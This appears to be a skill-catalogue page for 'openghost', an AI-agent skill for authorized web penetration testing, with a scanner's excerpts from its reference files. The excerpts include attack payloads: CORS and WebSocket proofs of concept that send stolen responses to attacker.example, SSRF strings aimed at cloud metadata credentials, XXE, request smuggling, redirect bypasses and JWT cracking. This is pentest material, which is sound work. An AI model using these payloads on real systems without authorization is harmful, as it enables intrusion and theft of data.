Not in the top 1,000 by GitHub stars

VAIBHAVSING/openghost

OpenGhost is an Agent Skill for authorized web app penetration testing: Enter lab url paste credential your agent and wait everything does with help of openghost

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

skills/openghost-skill/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

7179c73bebe9 → 7179c73bebe9

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 7179c73bebe9

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 7179c73bebe921017e5a3edef71abf4edc87d80a

git clone --filter=blob:none --no-checkout https://github.com/VAIBHAVSING/openghost.git .hotskills/vaibhavsing-openghost && git -C .hotskills/vaibhavsing-openghost checkout --detach 7179c73bebe921017e5a3edef71abf4edc87d80a # Copy each selected skill directory from .hotskills/vaibhavsing-openghost into .agents/skills/<skill-name>/
21GitHub stars
-4stars in 7 days
1skill in this repository
0commits in 30 days

Heat

0.1
  • Star growth, last 7 daysNot available
  • Star growth, last 24 hoursNot available
  • Rank movement, last 7 daysNot available
  • Commits, last 30 daysNot available
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekNot available

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Oct 25, 2026Nov 5, 202626

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

openghost-skill

When your agent uses it

Local open-source Agent Skill for authorized web application, API, browser, business-logic, and supporting server-integrity penetration testing. Use for scoped OWASP WSTG, ASVS, and API Security assessments; authenticated and multi-role validation; attack-surface mapping; bounded DAST; evidence-backed findings; coverage tracking; CVSS/risk triage; and delivery-ready reports. Do not use for phishing, malware, lateral movement, wireless, physical, or unrelated broad infrastructure testing. Run security tools only through the bundled Docker launcher with explicit authorization and scope controls.

What it loads into context

Frontmatter

139 tokens

Always available to the agent

SKILL.md

2,239 tokens

When the skill is activated

Reference documents

39,600 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Runtime
  2. Bounded Defensive Capability
  3. Guardrails
  4. Product Boundary
  5. Minimal Setup
  6. Context and Cost Discipline
  7. Operating Loop
  8. Module Routing
  9. Autonomous First Pass
  10. Evidence, CVSS, and Reporting
  11. Reference Routing
  12. Finish Criteria

Scripts executed separately

  • openghost
  • scripts/check-references.py
  • scripts/init-engagement.sh
  • scripts/openghost-assess.py
  • scripts/openghost-skill.sh
  • scripts/openghost-state.py
  • scripts/openghost.sh
  • scripts/package-evidence.sh
  • scripts/pentest/NOTICE
  • scripts/pentest/api_inventory.py
  • scripts/pentest/api_owasp_top10.py
  • scripts/pentest/bfla_check.py
  • scripts/pentest/bola_check.py
  • scripts/pentest/cache_check.py
  • scripts/pentest/cors_check.py
  • scripts/pentest/forced_browsing_check.py
  • scripts/pentest/graphql_check.py
  • scripts/pentest/hpp_check.py
  • scripts/pentest/jwt_check.py
  • scripts/pentest/mass_assignment_check.py
  • scripts/pentest/nosqli_probe.py
  • scripts/pentest/og_pentest.py
  • scripts/pentest/sqli_probe.py
  • scripts/pentest/vuln_triage.py
  • scripts/pentest/web_baseline.py
  • scripts/pentest/websocket_check.py
  • scripts/pentest/xss_check.py
  • scripts/playwright-zap-capture.py
  • scripts/scope_utils.py
  • scripts/select-modules.py
  • scripts/verify-toolchain.sh

Files

  • SKILL.mdcore10,357 bytes
  • SKILL.mdcore10,357 bytes
  • SKILL.mdcore10,357 bytes
  • agents/README.mddoc1,094 bytes
  • agents/openai.yamlasset319 bytes
  • assets/auth-template.yamlasset853 bytes
  • assets/finding-template.mddoc1,730 bytes
  • assets/report-template.mddoc2,513 bytes
  • assets/scope-template.yamlasset1,470 bytes
  • openghostruns143 bytes
  • references/authenticated-testing.mddoc4,172 bytes
  • references/autonomous-assessment.mddoc4,226 bytes
  • references/caching.mddoc3,021 bytes
  • references/cognitive-framework.mddoc5,343 bytes
  • references/modern-workflow.mddoc6,514 bytes
  • references/modules/module-access-control.mddoc9,095 bytes
  • references/modules/module-api-protocols.mddoc10,858 bytes
  • references/modules/module-browser-policy.mddoc7,200 bytes
  • references/modules/module-business-logic.mddoc6,466 bytes
  • references/modules/module-http-edge.mddoc7,582 bytes
  • references/modules/module-injection.mddoc15,631 bytes
  • references/modules/module-map.mddoc4,282 bytes
  • references/modules/module-server-integrity.mddoc7,897 bytes
  • references/modules/module-session-auth.mddoc9,695 bytes
  • references/modules/module-surface-map.mddoc8,733 bytes
  • references/reporting.mddoc11,467 bytes
  • references/risk-triage.mddoc5,697 bytes
  • references/threat-modeling.mddoc3,322 bytes
  • references/tooling.mddoc13,592 bytes
  • references/workflow.mddoc6,398 bytes
  • references/zap-playwright.mddoc5,008 bytes
  • scripts/check-references.pyruns2,593 bytes
  • scripts/init-engagement.shruns1,052 bytes
  • scripts/openghost-assess.pyruns33,185 bytes
  • scripts/openghost-skill.shruns137 bytes
  • scripts/openghost-state.pyruns69,964 bytes
  • scripts/openghost.shruns56,427 bytes
  • scripts/package-evidence.shruns1,331 bytes
  • scripts/pentest/NOTICEruns204 bytes
  • scripts/pentest/api_inventory.pyruns4,502 bytes
  • scripts/pentest/api_owasp_top10.pyruns3,236 bytes
  • scripts/pentest/bfla_check.pyruns2,294 bytes
  • scripts/pentest/bola_check.pyruns2,413 bytes
  • scripts/pentest/cache_check.pyruns1,860 bytes
  • scripts/pentest/cors_check.pyruns1,899 bytes
  • scripts/pentest/forced_browsing_check.pyruns1,464 bytes
  • scripts/pentest/graphql_check.pyruns1,692 bytes
  • scripts/pentest/hpp_check.pyruns1,782 bytes
  • scripts/pentest/jwt_check.pyruns2,483 bytes
  • scripts/pentest/manifest.jsonasset4,400 bytes
  • scripts/pentest/mass_assignment_check.pyruns2,367 bytes
  • scripts/pentest/nosqli_probe.pyruns1,874 bytes
  • scripts/pentest/og_pentest.pyruns16,134 bytes
  • scripts/pentest/sqli_probe.pyruns1,554 bytes
  • scripts/pentest/vuln_triage.pyruns2,466 bytes
  • scripts/pentest/web_baseline.pyruns2,868 bytes
  • scripts/pentest/websocket_check.pyruns1,984 bytes
  • scripts/pentest/xss_check.pyruns2,071 bytes
  • scripts/playwright-zap-capture.pyruns3,873 bytes
  • scripts/scope_utils.pyruns6,950 bytes
  • scripts/select-modules.pyruns4,073 bytes
  • scripts/verify-toolchain.shruns1,011 bytes
Read SKILL.md

# OpenGhost

Use OpenGhost for structured, evidence-backed assessments of scoped web applications and supporting server surface. The agent reasons, automates, validates in a browser, and assembles reports; OpenGhost provides Docker-backed tool execution and engagement state.

OpenGhost is fully local and open source. It has no hosted control plane, account, API key, telemetry requirement, or managed authentication service. Any optional credential is for the authorized target application only.

## Runtime

- Require Docker, bash, and host `python3`.
- Run security tools only through `openghost`; never run offensive tooling directly on the host.
- If an installed skill already exposes `openghost`, use it directly.
- For a repo checkout, add both launchers:
  ```bash
  export PATH="$PWD/skills:$PWD/skills/openghost-skill:$PATH"
View the complete source on GitHub

Skills included

  • openghost-skill

Repository facts

License
Apache-2.0
Created
May 5, 2026
Last pushed
Aug 1, 2026
Forks
2
Open issues
0
Project activity
Slowing

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 4, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 2 notes
  • skills/openghost-skill/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/openghost-skill/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 363 signals by file

skills/openghost-skill/agents/README.md

  • Network accessline 10
    codex --instructions "Read skills/openghost-skill/SKILL.md and follow it to pentest https://target.com"
  • Network accessline 21
    gemini "Read skills/openghost-skill/SKILL.md and run a web pentest on https://target.com"

skills/openghost-skill/assets/auth-template.yaml

  • Network accessline 3
    - name: user_a     privilege: standard     login_url: https://example.com/login
  • Network accessline 4
    privilege: standard     login_url: https://example.com/login     username_env: OPENGHOST_USER_A_USERNAME
  • Network accessline 5
    login_url: https://example.com/login
  • Network accessline 8
    - name: user_b     privilege: standard     login_url: https://example.com/login
  • Network accessline 9
    privilege: standard     login_url: https://example.com/login     username_env: OPENGHOST_USER_B_USERNAME
  • Network accessline 10
    login_url: https://example.com/login
  • Network accessline 13
    - name: admin     privilege: admin     login_url: https://example.com/login
  • Network accessline 14
    privilege: admin     login_url: https://example.com/login     username_env: OPENGHOST_ADMIN_USERNAME
  • Network accessline 15
    login_url: https://example.com/login
  • Access to secretsline 22
    [Credential-related source omitted]

skills/openghost-skill/assets/scope-template.yaml

  • Network accessline 1
    engagement_id: example-webapp-pentest target_url: https://example.com
  • Network accessline 2
    target_url: https://example.com
  • Network accessline 51
    user_agent_marker: openghost-authorized-test   test_record_prefix: openghost-test oob_callback: https://callback.example.test
  • Network accessline 52
    test_record_prefix: openghost-test oob_callback: https://callback.example.test notes: Replace example values before use.
  • Network accessline 53
    oob_callback: https://callback.example.test

skills/openghost-skill/openghost

  • Executable scriptline 1
    #!/usr/bin/env bash

skills/openghost-skill/references/authenticated-testing.md

  • Network accessline 31
    [Credential-related source omitted]
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 32
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 40
    [Credential-related source omitted]
  • Network accessline 41
    [Credential-related source omitted]
  • Network accessline 43
    # Use cookies openghost bash 'curl -s -i -b /workspace/.openghost/engagements/<name>/artifacts/auth/user-a.cookies https://<target>/dashboard'
  • Network accessline 44
    openghost bash 'curl -s -i -b /workspace/.openghost/engagements/<name>/artifacts/auth/user-a.cookies https://<target>/dashboard'
  • Network accessline 52
    [Credential-related source omitted]
  • Network accessline 53
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Network accessline 54
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Network accessline 56
    [Credential-related source omitted]
  • Network accessline 57
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Network accessline 58
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]
  • Network accessline 60
    # unauthenticated openghost bash 'curl -s -i https://<target>/api/users/<USER_A_ID>'
  • Network accessline 61
    openghost bash 'curl -s -i https://<target>/api/users/<USER_A_ID>'
  • Network accessline 69
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Network accessline 76
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Access to secretsline 77
    [Credential-related source omitted]

skills/openghost-skill/references/cognitive-framework.md

  • Network accessline 105
    Check common API doc paths with curl loop.
  • Network accessline 124
    | rate-limit | request blocked by limits | slow down, use approved lower rate | | cache | stale or shared response | use cache buster, validate cache key | | browser | curl cannot reproduce | use browser automation |
  • Network accessline 125
    | cache | stale or shared response | use cache buster, validate cache key | | browser | curl cannot reproduce | use browser automation | | second-order | payload stored but not triggered | find render/export/admin trigger |
  • Network accessline 126
    | browser | curl cannot reproduce | use browser automation |

skills/openghost-skill/references/modules/module-access-control.md

  • Network accessline 79
    [Credential-related source omitted]
  • Network accessline 80
    [Credential-related source omitted]
  • Network accessline 82
    [Credential-related source omitted]
  • Network accessline 83
    [Credential-related source omitted]
  • Network accessline 116
    [Credential-related source omitted]
  • Network accessline 117
    [Credential-related source omitted]
  • Network accessline 119
    [Credential-related source omitted]
  • Network accessline 120
    [Credential-related source omitted]
  • Network accessline 122
    [Credential-related source omitted]
  • Network accessline 123
    [Credential-related source omitted]
  • Access to secretsline 178
    [Credential-related source omitted]
  • Network accessline 185
    [Credential-related source omitted]
  • Network accessline 203
    [Credential-related source omitted]
  • Network accessline 204
    [Credential-related source omitted]
  • Access to secretsline 210
    [Credential-related source omitted]
  • Network accessline 226
    //evil.example https://evil.example
  • Network accessline 227
    https://evil.example
  • Network accessline 228
    https://target.example@evil.example
  • Network accessline 229
    https://target.example.evil.example
  • Network accessline 231
    /%5cevil.example //evil.example/%2f.. https://evil.example#target.example
  • Network accessline 232
    //evil.example/%2f.. https://evil.example#target.example https://evil%E3%80%82example
  • Network accessline 233
    https://evil.example#target.example
  • Network accessline 234
    https://evil%E3%80%82example

skills/openghost-skill/references/modules/module-api-protocols.md

  • Network accessline 28
    # Common docs and metadata openghost bash 'for p in /swagger.json /openapi.json /api-docs /docs /redoc /v2/api-docs /swagger/v1/swagger.json /.well-known/openapi.yaml /.well-known/openid-configuration; do echo -n "$p: "; curl -s -o /dev/nul
  • Network accessline 29
    openghost bash 'for p in /swagger.json /openapi.json /api-docs /docs /redoc /v2/api-docs /swagger/v1/swagger.json /.well-known/openapi.yaml /.well-known/openid-configuration; do echo -n "$p: "; curl -s -o /dev/null -w "%{http_code}\n" https
  • Network accessline 31
    # Version discovery openghost bash 'for v in v1 v2 v3 v4 beta old legacy internal; do echo -n "/api/$v: "; curl -s -o /dev/null -w "%{http_code}\n" https://<target>/api/$v; done'
  • Network accessline 32
    openghost bash 'for v in v1 v2 v3 v4 beta old legacy internal; do echo -n "/api/$v: "; curl -s -o /dev/null -w "%{http_code}\n" https://<target>/api/$v; done'
  • Network accessline 34
    # JavaScript API mining openghost bash 'curl -s https://<target>/static/app.js | grep -oE "/api/[A-Za-z0-9_./-]+" | sort -u'
  • Network accessline 35
    openghost bash 'curl -s https://<target>/static/app.js | grep -oE "/api/[A-Za-z0-9_./-]+" | sort -u'
  • Network accessline 75
    [Credential-related source omitted]
  • Network accessline 76
    [Credential-related source omitted]
  • Network accessline 98
    [Credential-related source omitted]
  • Network accessline 99
    [Credential-related source omitted]
  • Network accessline 123
    openghost bash 'for ip in 1.1.1.{1..10}; do curl -s -H "X-Forwarded-For: $ip" -X POST https://<target>/api/login -d "user=test&pass=bad$ip" -o /dev/null -w "$ip %{http_code}\n"; done'
  • Network accessline 174
    openghost bash 'for p in /graphql /graphiql /gql /query /api/graphql /v1/graphql; do echo -n "$p: "; curl -s -o /dev/null -w "%{http_code}\n" -X POST -H "Content-Type: application/json" -d "{\"query\":\"{__typename}\"}" https://<target>$p; 
  • Network accessline 180
    openghost bash 'curl -s -X POST -H "Content-Type: application/json" -d "{\"query\":\"{__schema{types{name,fields{name,type{name kind}}}}}\"}" https://<target>/graphql | jq .'
  • Network accessline 229
    openghost bash 'curl -s -I -H "Connection: Upgrade" -H "Upgrade: websocket" -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGVzdA==" https://<target>/ws'
  • Network accessline 259
    const ws = new WebSocket('wss://target.example/ws') ws.onopen = () => ws.send('{"action":"getProfile"}') ws.onmessage = e => fetch('https://attacker.example/log?d=' + encodeURIComponent(e.data))
  • Network accessline 260
    ws.onopen = () => ws.send('{"action":"getProfile"}') ws.onmessage = e => fetch('https://attacker.example/log?d=' + encodeURIComponent(e.data)) </script>
  • Network accessline 261
    ws.onmessage = e => fetch('https://attacker.example/log?d=' + encodeURIComponent(e.data))
  • Network accessline 270
    openghost bash 'for p in /service?wsdl /api?wsdl /soap?wsdl /wsdl; do echo -n "$p "; curl -s -o /dev/null -w "%{http_code}\n" https://<target>$p; done'

skills/openghost-skill/references/modules/module-browser-policy.md

  • Access to secretsline 3
    [Credential-related source omitted]
  • Network accessline 34
    # Origin reflection openghost bash 'curl -s -I -H "Origin: https://evil.example" https://<target>/api/user | grep -i "access-control"'
  • Network accessline 35
    openghost bash 'curl -s -I -H "Origin: https://evil.example" https://<target>/api/user | grep -i "access-control"'
  • Network accessline 37
    # Null origin openghost bash 'curl -s -I -H "Origin: null" https://<target>/api/user | grep -i "access-control"'
  • Network accessline 38
    openghost bash 'curl -s -I -H "Origin: null" https://<target>/api/user | grep -i "access-control"'
  • Network accessline 40
    # Regex/subdomain bypasses openghost bash 'curl -s -I -H "Origin: https://target.example.evil.example" https://<target>/api/user | grep -i "access-control"'
  • Network accessline 41
    openghost bash 'curl -s -I -H "Origin: https://target.example.evil.example" https://<target>/api/user | grep -i "access-control"'
  • Network accessline 42
    openghost bash 'curl -s -I -H "Origin: https://evil-target.example" https://<target>/api/user | grep -i "access-control"'
  • Network accessline 48
    Access-Control-Allow-Origin: https://evil.example
  • Network accessline 57
    <script> fetch('https://target.example/api/user/profile', {credentials: 'include'})
  • Network accessline 58
    fetch('https://target.example/api/user/profile', {credentials: 'include'})
  • Network accessline 59
    .then(r => r.text())   .then(d => fetch('https://attacker.example/log?d=' + encodeURIComponent(d))) </script>
  • Network accessline 60
    .then(d => fetch('https://attacker.example/log?d=' + encodeURIComponent(d)))
  • Network accessline 78
    openghost bash 'curl -s -I https://<target> | grep -i content-security-policy'
  • Network accessline 97
    <!-- JSONP on allowed domain --> <script src="https://allowed.example/jsonp?callback=alert"></script>
  • Network accessline 98
    <script src="https://allowed.example/jsonp?callback=alert"></script>
  • Network accessline 100
    <!-- AngularJS gadget if allowed CDN hosts old Angular --> <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
  • Network accessline 101
    <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
  • Network accessline 104
    <!-- base-uri gap --> <base href="https://attacker.example/">
  • Network accessline 105
    <base href="https://attacker.example/">
  • Network accessline 115
    openghost bash 'for p in / /account /settings /billing /transfer /admin; do echo -n "$p: "; curl -s -I https://<target>$p | grep -iE "(x-frame-options|frame-ancestors)" | tr -d "\r\n"; echo; done'
  • Network accessline 122
    <body>     <h1>Click to continue</h1>     <iframe src="https://target.example/account/delete" style="opacity:0.01;position:absolute;top:80px;left:80px;width:600px;height:400px"></iframe>
  • Network accessline 123
    <h1>Click to continue</h1>     <iframe src="https://target.example/account/delete" style="opacity:0.01;position:absolute;top:80px;left:80px;width:600px;height:400px"></iframe>     <button style="position:absolute;top:220px;left:260px">Click
  • Network accessline 124
    <iframe src="https://target.example/account/delete" style="opacity:0.01;position:absolute;top:80px;left:80px;width:600px;height:400px"></iframe>
  • Network accessline 135
    <iframe src="https://target.example" sandbox="allow-forms allow-scripts"></iframe>
  • Network accessline 143
    openghost bash 'curl -s -I https://<target> | grep -iE "(strict-transport|content-security|x-frame|x-content-type|x-xss|referrer-policy|permissions-policy|cross-origin|set-cookie|server|x-powered)"'
  • Network accessline 163
    openghost bash 'curl -s -I https://<target>/login | grep -i set-cookie'
  • Network accessline 180
    openghost bash 'curl -s https://<target>/account | grep -oE "https?://[^\"'"'"']+" | head'

skills/openghost-skill/references/modules/module-business-logic.md

  • Network accessline 50
    [Credential-related source omitted]
  • Network accessline 51
    [Credential-related source omitted]
  • Network accessline 53
    [Credential-related source omitted]
  • Network accessline 54
    [Credential-related source omitted]
  • Network accessline 56
    [Credential-related source omitted]
  • Network accessline 57
    [Credential-related source omitted]
  • Network accessline 87
    [Credential-related source omitted]
  • Network accessline 127
    url = "https://target.example/api/redeem-coupon"
  • Network accessline 132
    def send():     r = requests.post(url, json=data, headers=headers, timeout=10)
  • Network accessline 133
    r = requests.post(url, json=data, headers=headers, timeout=10)

skills/openghost-skill/references/modules/module-http-edge.md

  • Network accessline 33
    openghost bash 'curl -s -I https://<target>/ | grep -iE "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish|x-fastly|x-akamai|x-sucuri|x-cdn)"'
  • Network accessline 95
    openghost bash 'printf "POST / HTTP/1.1\r\nHost: <target>\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX" | nc <target> 80'
  • Network accessline 126
    openghost bash 'curl -s -I "https://<target>/?cb=$(date +%s)" | grep -iE "(x-cache|cf-cache-status|age|vary|x-varnish|via|cache-control)"'
  • Network accessline 147
    openghost bash 'CB="oghost=$(date +%s)"; curl -s -H "X-Forwarded-Host: evil.example" "https://<target>/?$CB" | grep evil.example'
  • Network accessline 148
    openghost bash 'CB="oghost=$(date +%s)"; curl -s -H "X-Forwarded-Scheme: http" "https://<target>/?$CB" | head -40'
  • Network accessline 165
    openghost bash 'curl -s -I -H "Cookie: session=<TEST_COOKIE>" https://<target>/account/settings/oghost.css | grep -iE "(cache|content-type|age)"'
  • Network accessline 166
    openghost bash 'curl -s https://<target>/account/settings/oghost.css | head -40'
  • Network accessline 186
    ?id=1&id=' OR 1=1-- ?redirect_uri=https://legit.example&redirect_uri=https://evil.example
  • Network accessline 187
    ?redirect_uri=https://legit.example&redirect_uri=https://evil.example
  • Network accessline 218
    openghost bash 'curl -s -i -H "X-Original-URL: /admin" https://<target>/not-admin | head -80'
  • Network accessline 226
    openghost run wafw00f https://<target> openghost bash 'curl -s -I https://<target> | grep -iE "(cf-ray|x-sucuri|x-akamai|x-fastly|x-cdn|server)"'
  • Network accessline 227
    openghost bash 'curl -s -I https://<target> | grep -iE "(cf-ray|x-sucuri|x-akamai|x-fastly|x-cdn|server)"'
  • Network accessline 265
    openghost bash 'curl -s -I http://<target> | grep -iE "(location|strict-transport)"'

skills/openghost-skill/references/modules/module-injection.md

  • Network accessline 236
    openghost bash 'curl -s -X POST -H "Content-Type: application/json" -d "{\"url\":\"http://<callback-host>/ssrf-test\"}" https://<target>/api/fetch'
  • Network accessline 244
    AWS IMDSv1: http://169.254.169.254/latest/meta-data/
  • Network accessline 245
    AWS role creds: http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Network accessline 246
    GCP: http://metadata.google.internal/computeMetadata/v1/
  • Network accessline 247
    Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01
  • Network accessline 248
    DigitalOcean: http://169.254.169.254/metadata/v1/
  • Network accessline 260
    http://127.0.0.1
  • Network accessline 261
    http://127.1
  • Network accessline 262
    http://0
  • Network accessline 263
    http://2130706433
  • Network accessline 264
    http://0177.0.0.1
  • Network accessline 265
    http://0x7f.0.0.1
  • Network accessline 266
    http://[::1]
  • Network accessline 267
    http://[::ffff:127.0.0.1]
  • Network accessline 268
    http://localhost.localdomain
  • Network accessline 269
    http://localtest.me
  • Network accessline 270
    http://expected.com@127.0.0.1
  • Network accessline 271
    http://127.0.0.1#expected.com
  • Network accessline 272
    http://attacker.example/redirect?to=http://127.0.0.1
  • Network accessline 279
    dict://127.0.0.1:6379/info gopher://127.0.0.1:6379/_INFO http://127.0.0.1:2375/version
  • Network accessline 281
    http://127.0.0.1:2375/version
  • Network accessline 349
    <!-- SSRF via XXE --> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
  • Network accessline 350
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
  • Access to secretsline 566
    [Credential-related source omitted]
  • Network accessline 579
    openghost bash 'curl -s -I -H "Host: attacker.example" https://<target>'
  • Network accessline 580
    openghost bash 'curl -s -I -H "X-Forwarded-Host: attacker.example" https://<target>'

skills/openghost-skill/references/modules/module-map.md

  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]

skills/openghost-skill/references/modules/module-server-integrity.md

  • Network accessline 54
    openghost bash 'curl -s -I https://<target> | grep -iE "(strict-transport|content-security|x-frame|x-content-type|referrer-policy|permissions-policy|cross-origin|set-cookie|server|x-powered)"'
  • Network accessline 76
    openghost bash 'curl -s -I https://<target>/login | grep -i set-cookie'
  • Network accessline 94
    openghost bash 'curl -s -i https://<target>/does-not-exist-$(date +%s) | head -80'
  • Network accessline 95
    openghost bash 'curl -s -i https://<target>/?debug=true | head -80'
  • Access to secretsline 118
    [Credential-related source omitted]
  • Network accessline 146
    openghost bash 'for p in /admin /console /debug /metrics /server-status /actuator /actuator/env /actuator/heapdump /phpinfo.php /_profiler /wp-admin /manager/html; do echo -n "$p "; curl -s -o /dev/null -w "%{http_code}\n" https://<target>$

skills/openghost-skill/references/modules/module-session-auth.md

  • Network accessline 88
    # Obtain public key from JWKS or certificate openghost bash 'curl -s https://<target>/.well-known/jwks.json | jq .'
  • Network accessline 89
    openghost bash 'curl -s https://<target>/.well-known/jwks.json | jq .'
  • Network accessline 113
    Empty key: /dev/null SQLi: key1' UNION SELECT 'secret'-- SSRF: http://127.0.0.1:8080/key
  • Network accessline 114
    SQLi: key1' UNION SELECT 'secret'-- SSRF: http://127.0.0.1:8080/key Command injection: key1|id
  • Network accessline 115
    SSRF: http://127.0.0.1:8080/key
  • Network accessline 142
    openghost bash 'curl -s https://<auth-host>/.well-known/openid-configuration | jq .'
  • Network accessline 156
    https://app.example.com.evil.test/callback
  • Network accessline 157
    https://app.example.com@evil.test/callback
  • Network accessline 158
    https://app.example.com/callback/../evil
  • Network accessline 159
    https://app.example.com/callback%2eevil.test
  • Network accessline 160
    https://app.example.com/callback?next=https://evil.test
  • Network accessline 161
    https://app.example.com/callback#https://evil.test
  • Network accessline 162
    http://app.example.com/callback
  • Network accessline 163
    https://APP.EXAMPLE.COM/callback
  • Network accessline 164
    https://app.example.com/callback.evil
  • Network accessline 223
    openghost bash 'curl -s -I https://<target>/login | grep -i set-cookie'
  • Network accessline 267
    <form action="https://target.example/change-email" method="POST">
  • Network accessline 280
    openghost run ffuf -u https://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,401,403 openghost bash 'curl -s -o /dev/null -w "%{http_code}\n" https://<target>/admin'
  • Network accessline 281
    openghost bash 'curl -s -o /dev/null -w "%{http_code}\n" https://<target>/admin'
  • Network accessline 282
    [Credential-related source omitted]
  • Network accessline 288
    openghost bash 'for m in GET POST PUT PATCH DELETE OPTIONS HEAD; do echo -n "$m "; curl -s -o /dev/null -w "%{http_code}\n" -X $m https://<target>/admin; done'
  • Network accessline 294
    openghost bash 'curl -s -X POST -H "X-HTTP-Method-Override: DELETE" https://<target>/api/users/123'

skills/openghost-skill/references/modules/module-surface-map.md

  • Network accessline 127
    openghost bash 'curl -s "https://crt.sh/?q=%25.<domain>&output=json" | jq -r ".[ ].name_value" | tr "\n" "\n" | sort -u'
  • Access to secretsline 159
    [Credential-related source omitted]
  • Network accessline 180
    # Extract JS files from a page openghost bash 'curl -s https://<target> | grep -oE "https?://[^\"'"'"']+\.js|/[A-Za-z0-9_./-]+\.js" | sort -u'
  • Network accessline 181
    openghost bash 'curl -s https://<target> | grep -oE "https?://[^\"'"'"']+\.js|/[A-Za-z0-9_./-]+\.js" | sort -u'
  • Network accessline 183
    # Extract API-like paths from JS openghost bash 'curl -s https://<target>/static/app.js | grep -oE "(/[A-Za-z0-9_.-]+){2,}" | sort -u'
  • Network accessline 184
    openghost bash 'curl -s https://<target>/static/app.js | grep -oE "(/[A-Za-z0-9_.-]+){2,}" | sort -u'
  • Network accessline 186
    # Search for possible secrets openghost bash 'curl -s https://<target>/static/app.js | grep -iE "(api[_-]?key|secret|token|client[_-]?id|aws_|private|bearer|authorization)"'
  • Network accessline 187
    openghost bash 'curl -s https://<target>/static/app.js | grep -iE "(api[_-]?key|secret|token|client[_-]?id|aws_|private|bearer|authorization)"'
  • Network accessline 197
    openghost bash 'for p in /swagger.json /openapi.json /api-docs /docs /redoc /v2/api-docs /swagger/v1/swagger.json /.well-known/openapi.yaml /.well-known/openid-configuration /graphql /graphiql /service?wsdl; do echo -n "$p: "; curl -s -o /d
  • Network accessline 203
    openghost bash 'for v in v1 v2 v3 v4 beta old legacy internal; do echo -n "/api/$v/: "; curl -s -o /dev/null -w "%{http_code}\n" https://<target>/api/$v/; done'
  • Network accessline 218
    # Headers and redirects openghost bash 'curl -s -I https://<target>'
  • Network accessline 219
    openghost bash 'curl -s -I https://<target>'

skills/openghost-skill/references/reporting.md

  • Network accessline 121
    - FIRST CVSS v4.0 Specification Document: https://www.first.org/cvss/specification-document
  • Network accessline 122
    - FIRST CVSS v4.0 User Guide: https://www.first.org/cvss/v4.0/user-guide
  • Network accessline 147
    **Asset:** https://target.example/path

skills/openghost-skill/references/tooling.md

  • Access to secretsline 137
    [Credential-related source omitted]
  • Network accessline 226
    | `jwt_tool` | `openghost run jwt_tool <JWT>` | JWT analysis and attacks | | `hashcat` | `openghost run hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt --quiet` | JWT/HMAC secret cracking, CPU default | | `curl` | `openghost bash 
  • Network accessline 227
    | `hashcat` | `openghost run hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt --quiet` | JWT/HMAC secret cracking, CPU default | | `curl` | `openghost bash 'curl -s -i https://<target>/api'` | Manual HTTP | | `http` | `openghost ru
  • Network accessline 228
    | `curl` | `openghost bash 'curl -s -i https://<target>/api'` | Manual HTTP |
  • Network accessline 230
    | `jq` | `openghost bash 'curl -s https://<target>/api | jq .'` | JSON parsing |
  • Network accessline 284
    openghost bash 'curl -s -i https://<target>/api/users/1' > /tmp/users-1.txt
  • Network accessline 291
    [Credential-related source omitted]
  • Access to secretsline 291
    [Credential-related source omitted]
  • Network accessline 292
    [Credential-related source omitted]
  • Access to secretsline 292
    [Credential-related source omitted]
  • Network accessline 298
    [Credential-related source omitted]
  • Access to secretsline 298
    [Credential-related source omitted]
  • Network accessline 299
    [Credential-related source omitted]
  • Access to secretsline 299
    [Credential-related source omitted]
  • Network accessline 317
    Use `openghost bash` for curl loops, custom parsing, and tool chains inside the sandbox. Avoid destructive filesystem commands, unbounded loops, broad credential attacks, and out-of-scope scans.

skills/openghost-skill/references/zap-playwright.md

  • Network accessline 7
    - Playwright Python BrowserType options, including proxy and persistent contexts: https://playwright.dev/python/docs/api/class-browsertype
  • Network accessline 8
    - Playwright tracing: https://playwright.dev/python/docs/trace-viewer
  • Network accessline 9
    - Playwright network/HAR recording: https://playwright.dev/python/docs/network
  • Network accessline 10
    - ZAP Docker and packaged scans: https://www.zaproxy.org/docs/docker/
  • Network accessline 11
